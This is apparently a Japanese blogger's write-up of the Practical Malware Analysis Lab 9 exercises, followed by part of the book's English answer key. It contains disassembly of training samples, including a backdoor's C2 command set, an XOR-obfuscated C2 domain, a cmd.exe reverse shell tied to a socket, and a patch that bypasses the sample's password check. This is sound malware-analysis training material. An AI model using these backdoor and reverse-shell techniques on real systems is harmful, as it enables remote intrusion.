PracticalMalwareAnalysis-Labs09 WriteUp

Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab09のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。

Lab 9-1

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab09-01.exe32ビット EXEB94AF4A4D4AF6EAC81FC135ABDA1C40C

1. How can you get this malware to install itself?

Lab09-01.exe-in という引数とともに実行すると、Lab09-01.exeを永続化させるためのWindows サービスがインストールされる

2. What are the command-line options for this program? What is the password requirement?

  • -in : マルウェアのインストールを行う
  • -re : マルウェアのアンインストールを行う
  • -c : マルウェアの設定情報を格納するレジストリキーを作成する
  • -cc : マルウェアの設定情報をレジストリキーから読み込む


以下はそれぞれの引数の解説。

-in

Lab09-01.exeを永続化させるためのWindows サービスをインストールする。-in の後に任意のサービス名を指定できる。サービス名を指定しなかった場合、マルウェアのファイル名から拡張子を取り除いたものがサービス名となる。Windowsサービスの表示名は[マルウェアのファイル名から拡張子を取り除いたもの] + Manager Serviceとなる。


以下はLab09-01.exe -in hoge fugaという引数つきで実行した場合。引数で指定したhogeがWindowsサービス名と表示名に使用されている。


Windowサービスのインストールが完了すると、Lab09-01.exe のコピーをファイルのタイムスタンプを偽造した上でC:\Windows\system32に作成する。(kernel32.dllのタイムスタンプをマルウェアのコピーにセットする)

自分の場合は64ビットOSで解析したので、C:\Windows\SysWOW64にマルウェアのコピーが作成された。

以下はコピー作成直後のファイルのタイムスタンプ。

そして以下はタイムスタンプ偽造の関数が実行された後のファイルのタイムスタンプ。kernel32.dllと全く同じタイムスタンプがマルウェアにセットされている。

マルウェアのコピーの作成後、HKLM\SOFTWARE\Microsoft \XPS\Configuration というレジストリを作成する。このレジストリにはups http://www.practicalmalwareanalysis.com 80 60という値が設定される。しかし、自分の解析環境では該当のレジストリが作成されなかった。

.text:004028CC 68 14 C1 40 00          push    offset a60      ; "60"
.text:004028D1 68 10 C1 40 00          push    offset a80      ; "80"
.text:004028D6 68 E8 C0 40 00          push    offset aHttpWwwPractic ; "http://www.practicalmalwareanalysis.com"
.text:004028DB 68 E4 C0 40 00          push    offset aUps     ; "ups"
.text:004028E0 E8 8B E7 FF FF          call    CreateConfigRegKey_401070

-re

Windows サービスをアンインストールして、C:\Windows\system32 (C:\Windows\SysWOW64) に作成されたマルウェアのコピーを削除する。サービスとファイルの削除が完了するとHKLM\SOFTWARE\Microsoft \XPS\Configuration というレジストリを作成する。レジストリの作成が成功すると、ただちに作成したレジストリを削除する。

.text:00402AAE                         loc_402AAE:
.text:00402AAE 68 60 EB 40 00          push    offset unk_40EB60
.text:00402AB3 68 60 EB 40 00          push    offset unk_40EB60
.text:00402AB8 68 60 EB 40 00          push    offset unk_40EB60
.text:00402ABD 68 60 EB 40 00          push    offset unk_40EB60
.text:00402AC2 E8 A9 E5 FF FF          call    CreateConfigRegKey_401070 ; return 1 if unsuccessful, else return 0
.text:00402AC7 83 C4 10                add     esp, 10h
.text:00402ACA 85 C0                   test    eax, eax
.text:00402ACC 74 07                   jz      short loc_402AD5
---
.text:00402AD5                         loc_402AD5:             ; return 1 if unsuccessful, else return 0
.text:00402AD5 E8 36 E7 FF FF          call    DeleteConfigRegKey_401210
.text:00402ADA 85 C0                   test    eax, eax
.text:00402ADC 74 07                   jz      short loc_402AE5

-c

HKLM\SOFTWARE\Microsoft \XPS\Configuration というレジストリを作成し、-cとともに渡された引数の値をレジストリの値としてセットする。

.text:00402C73 83 7D 08 07             cmp     [ebp+arg_0], 7
.text:00402C77 75 56                   jnz     short loc_402CCF
.text:00402C79 8B 55 0C                mov     edx, [ebp+arg_4]
.text:00402C7C 8B 42 08                mov     eax, [edx+8]
.text:00402C7F 89 85 E8 F7 FF FF       mov     [ebp+var_818], eax
.text:00402C85 8B 4D 0C                mov     ecx, [ebp+arg_4]
.text:00402C88 8B 51 0C                mov     edx, [ecx+0Ch]
.text:00402C8B 89 95 EC F7 FF FF       mov     [ebp+var_814], edx
.text:00402C91 8B 45 0C                mov     eax, [ebp+arg_4]
.text:00402C94 8B 48 10                mov     ecx, [eax+10h]
.text:00402C97 89 8D E4 F7 FF FF       mov     [ebp+var_81C], ecx
.text:00402C9D 8B 55 0C                mov     edx, [ebp+arg_4]
.text:00402CA0 8B 42 14                mov     eax, [edx+14h]
.text:00402CA3 89 85 F0 F7 FF FF       mov     [ebp+var_810], eax
.text:00402CA9 8B 8D F0 F7 FF FF       mov     ecx, [ebp+var_810]
.text:00402CAF 51                      push    ecx
.text:00402CB0 8B 95 E4 F7 FF FF       mov     edx, [ebp+var_81C]
.text:00402CB6 52                      push    edx
.text:00402CB7 8B 85 EC F7 FF FF       mov     eax, [ebp+var_814]
.text:00402CBD 50                      push    eax
.text:00402CBE 8B 8D E8 F7 FF FF       mov     ecx, [ebp+var_818]
.text:00402CC4 51                      push    ecx
.text:00402CC5 E8 A6 E3 FF FF          call    CreateConfigRegKey_401070

しかし、自分の解析環境では該当のレジストリが作成されなかった。

-cc

HKLM\SOFTWARE\Microsoft \XPS\Configuration というレジストリから値を読み込む。自分の環境では該当のレジストリが作成されなかったので、以下のコマンドを用いて手動でレジストリを作成した。

reg add "HKLM\SOFTWARE\Microsoft \XPS" /v Configuration /t REG_SZ /d "ups http://www.practicalmalwareanalysis.com 80 60"

しかし、権限の問題なのかマルウェアのプロセスがレジストリの値を読み込めなかった。IDAでコードを眺めてみたところ、サブルーチン 0x402E7Eにて、HKLM\SOFTWARE\Microsoft \XPS\Configurationから読み出した値をk:%s h:%s p:%s per:%s\nという文字列と連結すると思われる。サブルーチン 0x402E7Eは内部で複数の煩雑なサブルーチンを呼び出しており、連結した文字列をどうするのかは分からなかった。(内部でWriteFileを呼び出しているので、ファイルへの書き込みを行うようだが詳細は不明)

k:ups h:http://www.practicalmalwareanalysis.com p:80 per:60\n

.text:00402D03 68 00 04 00 00          push    400h
.text:00402D08 8D 95 E4 F3 FF FF       lea     edx, [ebp+var_C1C]
.text:00402D0E 52                      push    edx
.text:00402D0F 68 00 04 00 00          push    400h
.text:00402D14 8D 85 E4 E7 FF FF       lea     eax, [ebp+var_181C]
.text:00402D1A 50                      push    eax
.text:00402D1B 68 00 04 00 00          push    400h
.text:00402D20 8D 8D E4 EF FF FF       lea     ecx, [ebp+var_101C]
.text:00402D26 51                      push    ecx
.text:00402D27 68 00 04 00 00          push    400h
.text:00402D2C 8D 95 E4 EB FF FF       lea     edx, [ebp+var_141C]
.text:00402D32 52                      push    edx
.text:00402D33 E8 48 E5 FF FF          call    QueryConfigRegKey_401280
.text:00402D38 83 C4 20                add     esp, 20h
.text:00402D3B 85 C0                   test    eax, eax
.text:00402D3D 75 29                   jnz     short loc_402D68
---
.text:00402D3F 8D 85 E4 F3 FF FF       lea     eax, [ebp+var_C1C]
.text:00402D45 50                      push    eax
.text:00402D46 8D 8D E4 E7 FF FF       lea     ecx, [ebp+var_181C]
.text:00402D4C 51                      push    ecx
.text:00402D4D 8D 95 E4 EF FF FF       lea     edx, [ebp+var_101C]
.text:00402D53 52                      push    edx
.text:00402D54 8D 85 E4 EB FF FF       lea     eax, [ebp+var_141C]
.text:00402D5A 50                      push    eax
.text:00402D5B 68 4C C1 40 00          push    offset aKSHSPSPerS ; "k:%s h:%s p:%s per:%s\n"
.text:00402D60 E8 19 01 00 00          call    PossibleFileWrite_402E7E

このマルウェアを実行するにはパスワードを引数に渡す必要がある。静的解析よりパスワードはabcdと判明した。

.text:00402B1D 8B 45 08                mov     eax, [ebp+arg_0]
.text:00402B20 8B 4D 0C                mov     ecx, [ebp+arg_4]
.text:00402B23 8B 54 81 FC             mov     edx, [ecx+eax*4-4]
.text:00402B27 89 55 FC                mov     [ebp+var_4], edx
.text:00402B2A 8B 45 FC                mov     eax, [ebp+var_4]
.text:00402B2D 50                      push    eax
.text:00402B2E E8 DD F9 FF FF          call    PasswordCheck_402510 ; password is "abcd"
.text:00402B33 83 C4 04                add     esp, 4
.text:00402B36 85 C0                   test    eax, eax
.text:00402B38 75 05                   jnz     short loc_402B3F

以降はパスワードの確認を行うサブルーチンのコードの抜粋。
引数に渡されたパスワードが4バイトかどうかチェックしている。

.text:00402510 55                      push    ebp
.text:00402511 8B EC                   mov     ebp, esp
.text:00402513 51                      push    ecx
.text:00402514 57                      push    edi
.text:00402515 8B 7D 08                mov     edi, [ebp+arg_0]
.text:00402518 83 C9 FF                or      ecx, 0FFFFFFFFh
.text:0040251B 33 C0                   xor     eax, eax
.text:0040251D F2 AE                   repne scasb             ; strlen
.text:0040251F F7 D1                   not     ecx
.text:00402521 83 C1 FF                add     ecx, 0FFFFFFFFh
.text:00402524 83 F9 04                cmp     ecx, 4          ; password is 4bytes
.text:00402527 74 04                   jz      short loc_40252D

パスワードの1バイト目がaかどうかチェックしている。

.text:0040252D 8B 45 08                mov     eax, [ebp+arg_0]
.text:00402530 8A 08                   mov     cl, [eax]
.text:00402532 88 4D FC                mov     [ebp+var_4], cl
.text:00402535 0F BE 55 FC             movsx   edx, [ebp+var_4]
.text:00402539 83 FA 61                cmp     edx, 'a'        ; comparing if 1st char of password is "a"
.text:0040253C 74 04                   jz      short loc_402542

パスワードの2バイト目がbかどうかチェックしている。

.text:00402542                         loc_402542:             ; copying 2nd byte of arg to cl
.text:00402542 8B 45 08                mov     eax, [ebp+arg_0]
.text:00402545 8A 48 01                mov     cl, [eax+1]
.text:00402548 88 4D FC                mov     [ebp+var_4], cl
.text:0040254B 8B 55 08                mov     edx, [ebp+arg_0]
.text:0040254E 8A 45 FC                mov     al, [ebp+var_4]
.text:00402551 2A 02                   sub     al, [edx]       ; (2nd byte of arg) - (1st byte of arg) aka (2nd byte of arg) - "a"
.text:00402553 88 45 FC                mov     [ebp+var_4], al
.text:00402556 0F BE 4D FC             movsx   ecx, [ebp+var_4]
.text:0040255A 83 F9 01                cmp     ecx, 1          ; comparing if diff between 2nd char and 1st char of password is 1; which means 2nd char for password is "b"
.text:0040255D 74 04                   jz      short loc_402563

パスワードの3バイト目がcかどうかチェックしている。

0000000000402563                         loc_402563:             ; var_4 contains 1
.text:00402563 8A 45 FC                mov     al, [ebp+var_4]
.text:00402566 B2 63                   mov     dl, 'c'
.text:00402568 F6 EA                   imul    dl              ; "c" x 1
.text:0040256A 88 45 FC                mov     [ebp+var_4], al
.text:0040256D 0F BE 45 FC             movsx   eax, [ebp+var_4] ; copying "c" to eax
.text:00402571 8B 4D 08                mov     ecx, [ebp+arg_0]
.text:00402574 0F BE 51 02             movsx   edx, byte ptr [ecx+2] ; copying 3rd byte of arg to edx and comparing with eax
.text:00402578 3B C2                   cmp     eax, edx        ; 3rd char for password is "c"
.text:0040257A 74 04                   jz      short loc_402580

パスワードの4バイト目がdかどうかチェックしている。

.text:00402580                         loc_402580:             ; copying "c" to al
.text:00402580 8A 45 FC                mov     al, [ebp+var_4]
.text:00402583 04 01                   add     al, 1           ; "c" + 1
.text:00402585 88 45 FC                mov     [ebp+var_4], al
.text:00402588 0F BE 4D FC             movsx   ecx, [ebp+var_4] ; copying "d" to ecx
.text:0040258C 8B 55 08                mov     edx, [ebp+arg_0]
.text:0040258F 0F BE 42 03             movsx   eax, byte ptr [edx+3] ; copying 4th byte of arg to eax and comparing with ecx
.text:00402593 3B C8                   cmp     ecx, eax        ; 4th char for password is "d"
.text:00402595 74 04                   jz      short loc_40259B

引数に渡されたパスワードがabcdと一致した場合、EAXに1を格納する。それ以外の場合はEAXに0を格納する。

.text:0040259B                         loc_40259B:
.text:0040259B B8 01 00 00 00          mov     eax, 1


3. How can you use OllyDbg to permanently patch this malware, so that it doesn't require the special command-line password?

以下のジャンプ命令をjnzからjzに書き換えることでパスワードチェックを無効化出来る。(ちなみに使用したデバッガはx32dbg)

.text:00402B2E E8 DD F9 FF FF          call    PasswordCheck_402510 ; password is "abcd"
.text:00402B33 83 C4 04                add     esp, 4
.text:00402B36 85 C0                   test    eax, eax
.text:00402B38 75 05                   jnz     short loc_402B3F

4. What are the host-based indicators of this malware?

  • レジストリキー HKLM\SOFTWARE\Microsoft \XPS\Configuration と値 ups http://www.practicalmalwareanalysis.com 80 60
  • Windowsサービス表示名 [拡張子を除いたマルウェア・ファイル名] + Manager Service
  • 拡張子を除いたマルウェア・ファイル名と同名のWindows サービス名


5. What are the different actions this malware can be instructed to take via the network?

マルウェアが引数無しで実行された場合、レジストリキー HKLM\SOFTWARE\Microsoft \XPS\Configuration から値を読み出す。値の読み出しに成功した場合はサブルーチン 0x402360を呼び出す。サブルーチン 0x402360の中で再度レジストリキー HKLM\SOFTWARE\Microsoft \XPS\ConfigurationからC2サーバーの設定情報 (URL、ポート番号等)を読み出した後、サブルーチン 0x402020を呼び出す。サブルーチン 0x402020はC2サーバーから以下のコマンドを受け取って実行する。

  • SLEEP : スリープ関数を実行する
  • UPLOAD : 名前に反してC2サーバーからファイルをダウンロードする
  • DOWNLOAD : 名前に反してC2サーバーにファイルをアップロードする
  • CMD : cmd.exe (command.com) から任意のコマンドを実行する。実行結果はC2サーバーに送られる
  • NOTHING : 何もしない

6. Are there any useful network-based signatures for this malware?

  • URL http://www.practicalmalwareanalysis.com
  • C2サーバーからコマンドを受け取る際にHTTP GETリクエストを送る。その際使用するのはHTTP1.1ではなくHTTP1.0。

Lab 9-2

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab09-02.exe32ビット EXE251F4D0CAF6EADAE453488F9C9C0EA95

1. What strings do you see statically in the binary?

DLL名やインポート関数名が確認できるが、それ以外に際立った文字列は見つからなかった。

2. What happens when you run this binary?

特に何も起きず処理が終了する。

3. How can you get this sample to run its malicious payload?

このマルウェアは始めに自身のプロセス名がocl.exeと一致するか確認する。一致する場合は処理を続行し、一致しない場合は処理を終了する。よってファイル名をocl.exeに変更して実行する必要がある。

.text:004011FA 68 0E 01 00 00          push    10Eh            ; nSize
.text:004011FF 8D 85 00 FD FF FF       lea     eax, [ebp+Filename]
.text:00401205 50                      push    eax             ; lpFilename
.text:00401206 6A 00                   push    0               ; hModule
.text:00401208 FF 15 0C 40 40 00       call    ds:GetModuleFileNameA
.text:0040120E 6A 5C                   push    5Ch
.text:00401210 8D 8D 00 FD FF FF       lea     ecx, [ebp+Filename]
.text:00401216 51                      push    ecx
.text:00401217 E8 34 03 00 00          call    sub_401550
.text:0040121C 83 C4 08                add     esp, 8
.text:0040121F 89 45 FC                mov     [ebp+var_4], eax
.text:00401222 8B 55 FC                mov     edx, [ebp+var_4]
.text:00401225 83 C2 01                add     edx, 1
.text:00401228 89 55 FC                mov     [ebp+var_4], edx
.text:0040122B 8B 45 FC                mov     eax, [ebp+var_4]
.text:0040122E 50                      push    eax             ; current process name
.text:0040122F 8D 8D 60 FE FF FF       lea     ecx, [ebp+var_1A0]
.text:00401235 51                      push    ecx             ; ocl.exe
.text:00401236 E8 85 02 00 00          call    strcmp_4014C0   ; check if current process name is ocl.exe
.text:0040123B 83 C4 08                add     esp, 8
.text:0040123E 85 C0                   test    eax, eax
.text:00401240 74 0A                   jz      short loc_40124C


4. What is happening at 0x00401133?

文字を1文字ずつスタックに格納している。最終的に1qaz2wsx3edcという文字列とocl.exeという文字列がスタックに格納される。

.text:00401133 C6 85 50 FE FF FF 31    mov     [ebp+var_1B0], '1'
.text:0040113A C6 85 51 FE FF FF 71    mov     [ebp+var_1AF], 'q'
.text:00401141 C6 85 52 FE FF FF 61    mov     [ebp+var_1AE], 'a'
.text:00401148 C6 85 53 FE FF FF 7A    mov     [ebp+var_1AD], 'z'
.text:0040114F C6 85 54 FE FF FF 32    mov     [ebp+var_1AC], '2'
.text:00401156 C6 85 55 FE FF FF 77    mov     [ebp+var_1AB], 'w'
.text:0040115D C6 85 56 FE FF FF 73    mov     [ebp+var_1AA], 's'
.text:00401164 C6 85 57 FE FF FF 78    mov     [ebp+var_1A9], 'x'
.text:0040116B C6 85 58 FE FF FF 33    mov     [ebp+var_1A8], '3'
.text:00401172 C6 85 59 FE FF FF 65    mov     [ebp+var_1A7], 'e'
.text:00401179 C6 85 5A FE FF FF 64    mov     [ebp+var_1A6], 'd'
.text:00401180 C6 85 5B FE FF FF 63    mov     [ebp+var_1A5], 'c'
.text:00401187 C6 85 5C FE FF FF 00    mov     [ebp+var_1A4], 0
.text:0040118E C6 85 60 FE FF FF 6F    mov     [ebp+var_1A0], 'o'
.text:00401195 C6 85 61 FE FF FF 63    mov     [ebp+var_19F], 'c'
.text:0040119C C6 85 62 FE FF FF 6C    mov     [ebp+var_19E], 'l'
.text:004011A3 C6 85 63 FE FF FF 2E    mov     [ebp+var_19D], '.'
.text:004011AA C6 85 64 FE FF FF 65    mov     [ebp+var_19C], 'e'
.text:004011B1 C6 85 65 FE FF FF 78    mov     [ebp+var_19B], 'x'
.text:004011B8 C6 85 66 FE FF FF 65    mov     [ebp+var_19A], 'e'
.text:004011BF C6 85 67 FE FF FF 00    mov     [ebp+var_199], 0


5. What arguments are being passed to subroutine 0x00401089?

XOR鍵 1qaz2wsx3edc と暗号化されたデータ 0x460616544205121B470C07025D1C00164516011D520B050F480208091C141C15

6. What domain name does this malware use?
サブルーチン 0x00401089はXOR復号を実行するための関数。関数が実行されるとwww.practicalmalwareanalysis.comというドメインが復号されてgethostbynameに渡される。

.text:004012AF 8D 8D 10 FE FF FF       lea     ecx, [ebp+var_1F0]
.text:004012B5 51                      push    ecx             ; 0x460616544205121B470C07025D1C00164516011D520B050F480208091C141C15
.text:004012B6 8D 95 50 FE FF FF       lea     edx, [ebp+var_1B0]
.text:004012BC 52                      push    edx             ; 1qaz2wsx3edc
.text:004012BD E8 C7 FD FF FF          call    XOR_401089      ; decrypts to www.practicalmalwareanalysis.com
.text:004012C2 83 C4 08                add     esp, 8
.text:004012C5 89 45 F8                mov     [ebp+name], eax
.text:004012C8 8B 45 F8                mov     eax, [ebp+name]
.text:004012CB 50                      push    eax             ; name
.text:004012CC FF 15 A4 40 40 00       call    ds:gethostbyname


7. What encoding routine is being used to obfuscate the domain name?

XOR演算

8. What is the significance of the CreateProcessA call at 0x0040106E?

サブルーチン 0x401000の中でCreateProcessA (0x40106E) が呼び出されている。このCreateProcessAはC2サーバー www.practicalmalwareanalysis.com に対してコマンドシェル (cmd.exe) を提供する。

.text:0040137A 8B 85 FC FC FF FF       mov     eax, [ebp+s]
.text:00401380 50                      push    eax
.text:00401381 83 EC 10                sub     esp, 10h
.text:00401384 8B CC                   mov     ecx, esp
.text:00401386 8B 95 34 FE FF FF       mov     edx, dword ptr [ebp+var_1CC.sa_family]
.text:0040138C 89 11                   mov     [ecx], edx
.text:0040138E 8B 85 38 FE FF FF       mov     eax, dword ptr [ebp+var_1CC.sa_data+2]
.text:00401394 89 41 04                mov     [ecx+4], eax
.text:00401397 8B 95 3C FE FF FF       mov     edx, dword ptr [ebp+var_1CC.sa_data+6]
.text:0040139D 89 51 08                mov     [ecx+8], edx
.text:004013A0 8B 85 40 FE FF FF       mov     eax, dword ptr [ebp+var_1CC.sa_data+0Ah]
.text:004013A6 89 41 0C                mov     [ecx+0Ch], eax
.text:004013A9 E8 52 FC FF FF          call    SpawnCmdShell_401000
.text:00401034 C7 45 D4 01 01 00 00    mov     [ebp+StartupInfo.dwFlags], 101h
.text:0040103B 66 C7 45 D8 00 00       mov     [ebp+StartupInfo.wShowWindow], 0
.text:00401041 8B 55 18                mov     edx, [ebp+arg_10]
.text:00401044 89 55 E0                mov     [ebp+StartupInfo.hStdInput], edx
.text:00401047 8B 45 E0                mov     eax, [ebp+StartupInfo.hStdInput]
.text:0040104A 89 45 E8                mov     [ebp+StartupInfo.hStdError], eax
.text:0040104D 8B 4D E8                mov     ecx, [ebp+StartupInfo.hStdError]
.text:00401050 89 4D E4                mov     [ebp+StartupInfo.hStdOutput], ecx
.text:00401053 8D 55 F0                lea     edx, [ebp+ProcessInformation]
.text:00401056 52                      push    edx             ; lpProcessInformation
.text:00401057 8D 45 A8                lea     eax, [ebp+StartupInfo]
.text:0040105A 50                      push    eax             ; lpStartupInfo C2 socket
.text:0040105B 6A 00                   push    0               ; lpCurrentDirectory
.text:0040105D 6A 00                   push    0               ; lpEnvironment
.text:0040105F 6A 00                   push    0               ; dwCreationFlags
.text:00401061 6A 01                   push    1               ; bInheritHandles
.text:00401063 6A 00                   push    0               ; lpThreadAttributes
.text:00401065 6A 00                   push    0               ; lpProcessAttributes
.text:00401067 68 30 50 40 00          push    offset CommandLine ; "cmd"
.text:0040106C 6A 00                   push    0               ; lpApplicationName
.text:0040106E FF 15 04 40 40 00       call    ds:CreateProcessA

Lab 9-3

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab09-03.exe32ビット EXEA90B5A068EF610C44F07ABEDDAB37D2A
DLL1.dll32ビット DLL1F9775ED5D105B4D86B67DEED9C5CF62
DLL2.dll32ビット DLL7C1390FA90437C0274E91926E349005D
DLL3.dll32ビット DLLC92179F08502F24AD383EFD41C16FF6C

1. What DLLs are imported by Lab09-03.exe?

  • KERNEL32.dll
  • NETAPI32.dll
  • DLL1.dll
  • DLL2.dll

またDLL3.dllはインポートされていないものの、Lab09-03.exeの実行時にLoadLibraryAによってロードされる。

.text:00401036 FF 15 1C 50 40 00       call    ds:CloseHandle
.text:0040103C 68 54 60 40 00          push    offset LibFileName ; "DLL3.dll"
.text:00401041 FF 15 20 50 40 00       call    ds:LoadLibraryA
.text:00401047 89 45 EC                mov     [ebp+hModule], eax
.text:0040104A 68 48 60 40 00          push    offset ProcName ; "DLL3Print"


2. What is the base address requested by DLL1.dll, DLL2.dll and DLL3.dll?

3つのDLLはいずれもPEヘッダで0x10000000をbase addressに指定している。


3. When you use OllyDbg to debug Lab09-03.exe, what is the assigned based address for: DLL1.dll, DLL2.dll and DLL3.dll?

x32dbgでLab09-03.exeをロードしてMemory Mapを確認したところ、3つのDLLのbase addressは以下のようになっていた。

DLL1.dllは0x10000000にロードされていた。

DLL2.dllは0x30000にロードされていた。

DLL3.dllは0x220000にロードされていた。


4. When Lab09-03.exe calls an import function from DLL1.dll, what does the import function do?

以下のようにDLL 1 mystery data 3560 というメッセージを表示した。


5. When Lab09-03.exe calls WriteFile, what is the filename it writes to?

malwareanalysisbook.com という文字列がカレントディレクトリのtemp.txtに書き込まれる。

.text:0040101B 6A 00                   push    0               ; lpOverlapped
.text:0040101D 8D 45 F4                lea     eax, [ebp+NumberOfBytesWritten]
.text:00401020 50                      push    eax             ; lpNumberOfBytesWritten
.text:00401021 6A 17                   push    17h             ; nNumberOfBytesToWrite
.text:00401023 68 60 60 40 00          push    offset aMalwareanalysi ; "malwareanalysisbook.com"
.text:00401028 8B 4D E8                mov     ecx, [ebp+hFile]
.text:0040102B 51                      push    ecx             ; hFile
.text:0040102C FF 15 14 50 40 00       call    ds:WriteFile    ; write "malwareanalysisbook.com" to temp.txt under the current directory


6. When Lab09-03.exe creates a job using NetScheduleJobAdd, where does it get the data for the second parameter?

DLL3GetStructure関数の戻り値をNetScheduleJobAddの第2引数に渡す。

.text:0040105F 68 34 60 40 00          push    offset aDll3getstructu ; "DLL3GetStructure"
.text:00401064 8B 4D EC                mov     ecx, [ebp+hModule]
.text:00401067 51                      push    ecx             ; hModule
.text:00401068 FF 15 24 50 40 00       call    ds:GetProcAddress
.text:0040106E 89 45 F0                mov     [ebp+DLL3GetStructure], eax
.text:00401071 8D 55 E4                lea     edx, [ebp+Buffer]
.text:00401074 52                      push    edx
.text:00401075 FF 55 F0                call    [ebp+DLL3GetStructure]
.text:00401078 83 C4 04                add     esp, 4
.text:0040107B 8D 45 FC                lea     eax, [ebp+JobId]
.text:0040107E 50                      push    eax             ; JobId
.text:0040107F 8B 4D E4                mov     ecx, [ebp+Buffer]
.text:00401082 51                      push    ecx             ; Buffer
.text:00401083 6A 00                   push    0               ; Servername local computer
.text:00401085 E8 12 00 00 00          call    NetScheduleJobAdd

第2引数 (ECXレジスタ)にはping www.malwareanalysisbook.comというデータが格納されている。


7. While running or debugging the program, you will see that it prints out three pieces of mystery data. What are the following: DLL 1 mystery data 1, DLL2 mystery data 2, and DLL 3 mystery data 3?

DLL 1 mystery data はカレントプロセスのプロセスIDを表示する。
以下はDLL1.dllの該当のコード。

DLL 1 mystery data というメッセージとグローバル変数 dword_10008030がサブルーチン 0x10001038の引数として渡される。

.text:10001020                         public DLL1Print
.text:10001020                         DLL1Print proc near
.text:10001020 55                      push    ebp
.text:10001021 8B EC                   mov     ebp, esp
.text:10001023 A1 30 80 00 10          mov     eax, dword_10008030
.text:10001028 50                      push    eax
.text:10001029 68 34 80 00 10          push    offset aDll1MysteryDat ; "DLL 1 mystery data %d\n"
.text:1000102E E8 05 00 00 00          call    printf_10001038

グローバル変数 dword_10008030のクロスレファレンスを確認したところ、サブルーチン 0x10001000にてGetCurrentProcessIdを呼び出し、結果をdword_10008030に格納していた。

.text:10001000                         GetCurrentProcessId_10001000 proc near
.text:10001000 55                      push    ebp
.text:10001001 8B EC                   mov     ebp, esp
.text:10001003 FF 15 00 70 00 10       call    ds:GetCurrentProcessId
.text:10001009 A3 30 80 00 10          mov     dword_10008030, eax
.text:1000100E B0 01                   mov     al, 1
.text:10001010 5D                      pop     ebp
.text:10001011 C2 0C 00                retn    0Ch
.text:10001011                         GetCurrentProcessId_10001000 endp

DLL2 mystery data は作成されたtemp.txtのファイル・ハンドルを表示する。
以下はDLL2.dllの該当のコード。

DLL 2 mystery data というメッセージとグローバル変数 dword_1000B078がサブルーチン 0x1000105Aの引数として渡される。

.text:10001030                         public DLL2Print
.text:10001030                         DLL2Print proc near
.text:10001030 55                      push    ebp
.text:10001031 8B EC                   mov     ebp, esp
.text:10001033 A1 78 B0 00 10          mov     eax, dword_1000B078
.text:10001038 50                      push    eax
.text:10001039 68 3C 80 00 10          push    offset aDll2MysteryDat ; "DLL 2 mystery data %d\n"
.text:1000103E E8 17 00 00 00          call    printf_1000105A

グローバル変数 dword_1000B078のクロスレファレンスを確認したところ、サブルーチン 0x10001000にてCreateFileAを呼び出してファイル temp.txtを作成し、結果 (temp.txtのファイル・ハンドル) をdword_1000B078に格納していた。

.text:10001000                         Create_temptxt_10001000 proc near
.text:10001000 55                      push    ebp
.text:10001001 8B EC                   mov     ebp, esp
.text:10001003 6A 00                   push    0               ; hTemplateFile
.text:10001005 68 80 00 00 00          push    80h             ; dwFlagsAndAttributes
.text:1000100A 6A 02                   push    2               ; dwCreationDisposition
.text:1000100C 6A 00                   push    0               ; lpSecurityAttributes
.text:1000100E 6A 00                   push    0               ; dwShareMode
.text:10001010 68 00 00 00 40          push    40000000h       ; dwDesiredAccess
.text:10001015 68 30 80 00 10          push    offset FileName ; "temp.txt"
.text:1000101A FF 15 00 70 00 10       call    ds:CreateFileA
.text:10001020 A3 78 B0 00 10          mov     dword_1000B078, eax


DLL3 mystery data は ping www.malwareanalysisbook.com という文字列をUTF-16に変換し、変換後の文字列が格納されるバッファのポインタを表示する。
以下はDLL3.dllの該当のコード。

DLL 3 mystery data というメッセージとバッファWideCharStrがサブルーチン 0x10001087の引数として渡される。

.text:10001070                         public DLL3Print
.text:10001070                         DLL3Print proc near
.text:10001070 55                      push    ebp
.text:10001071 8B EC                   mov     ebp, esp
.text:10001073 68 C0 B0 00 10          push    offset WideCharStr
.text:10001078 68 5C 80 00 10          push    offset aDll3MysteryDat ; "DLL 3 mystery data %d\n"
.text:1000107D E8 05 00 00 00          call    printf_10001087

WideCharStrのクロスレファレンスを確認したところ、サブルーチン 0x10001000にてMultiByteToWideCharを呼び出して文字列 ping www.malwareanalysisbook.comをUTF-16に変換し、変換後の文字列をバッファWideCharStrに格納していた。

.text:10001000                         sub_10001000 proc near
.text:10001000
.text:10001000                         lpMultiByteStr= dword ptr -4
.text:10001000
.text:10001000 55                      push    ebp
.text:10001001 8B EC                   mov     ebp, esp
.text:10001003 51                      push    ecx
.text:10001004 C7 45 FC 38 80 00 10    mov     [ebp+lpMultiByteStr], offset aPingWwwMalware ; "ping www.malwareanalysisbook.com"
.text:1000100B 6A 32                   push    32h             ; cchWideChar
.text:1000100D 68 C0 B0 00 10          push    offset WideCharStr ; lpWideCharStr
.text:10001012 6A FF                   push    0FFFFFFFFh      ; cbMultiByte
.text:10001014 8B 45 FC                mov     eax, [ebp+lpMultiByteStr]
.text:10001017 50                      push    eax             ; lpMultiByteStr
.text:10001018 6A 00                   push    0               ; dwFlags
.text:1000101A 6A 00                   push    0               ; CodePage
.text:1000101C FF 15 00 70 00 10       call    ds:MultiByteToWideChar
.text:10001022 C7 05 AC B0 00 10 C0 B0+mov     dword_1000B0AC, offset WideCharStr


8. How can you load DLL2.dll into IDA Pro so that it matches the load address used by OllyDbg?

自分が使用しているのはIDA Freeware version 7.0。それらしいオプションがないか探してみたが分からなかった。

模範解答

Lab 9-1
1. You can get the program to install itself by providing it with the -in option, along with the password. Alternatively, you can patch the binary to skip the password verification check.

2. The command-line options for the program are one of four values and the password. The password is the string abcd and is required for all actions except the default behaviour. The -in option instructs the malware to install itself. The -re option instructs the malware to remove itself. The -c option instructs the malware to update its configuration, including its beacon IP address. The -cc option instructs the malware to print its current configuration to the console. By default, this malware functions as a backdoor if installed.

3. You can patch the binary by changing the first bytes of the function at address 0x402510 to always return true. The assembly instructions for this behaviour is MOV EAX, 0x1; RETN;, which corresponds to the byte sequence B8 01 00 00 00 C3.

4. The malware creates the registry key HKLM\Software\Microsoft \XPS\Configuration (note the trailing space after Microsoft). The malware also creates the service XYZ Manager Service, where XYZ can be a parameter provided at install time or the name of the malware executable. Finally, when the malware copies itself into the Windows System directory, it may change the filename to match the service name.

